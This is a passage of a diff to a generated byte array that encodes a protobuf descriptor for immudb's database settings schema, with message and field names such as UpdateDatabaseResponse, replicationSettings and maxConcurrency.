0x6e, 0x67, 0x73, 0x52, 0x08, - 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x22, 0x7b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x22, 0x25, 0x0a, 0x0d, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, - 0x74, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, - 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x12, - 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x22, 0xca, 0x0d, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x12, 0x5c, 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, - 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x39, - 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, 0x61, 0x78, - 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, 0x61, 0x78, - 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x79, 0x0a, 0x16, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x22, 0x7b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x26, + 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x25, + 0x0a, 0x0d, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x12, + 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, + 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x22, 0xca, 0x0d, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, + 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x39, 0x0a, 0x08, + 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x66, + 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, + 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, + 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, 0x6d, 0x61, - 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, 0x65, 0x78, - 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, - 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, - 0x6f, 0x6c, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x54, 0x69, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, - 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, + 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, + 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, + 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, + 0x69, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, + 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x6d, 0x61, 0x78, 0x43, + 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x61, + 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0e, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, + 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, + 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, + 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x6d, 0x61, - 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x10, - 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, - 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, - 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, - 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, - 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, - 0x0a, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, - 0x69, 0x6c, 0x65, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, - 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4f, 0x0a, - 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, - 0x69, 0x6c, 0x65, 0x73, 0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, - 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, - 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, - 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, - 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, - 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x24, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, - 0x61, 0x64, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x74, 0x78, + 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, + 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, + 0x65, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x12, - 0x45, 0x0a, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, - 0x65, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 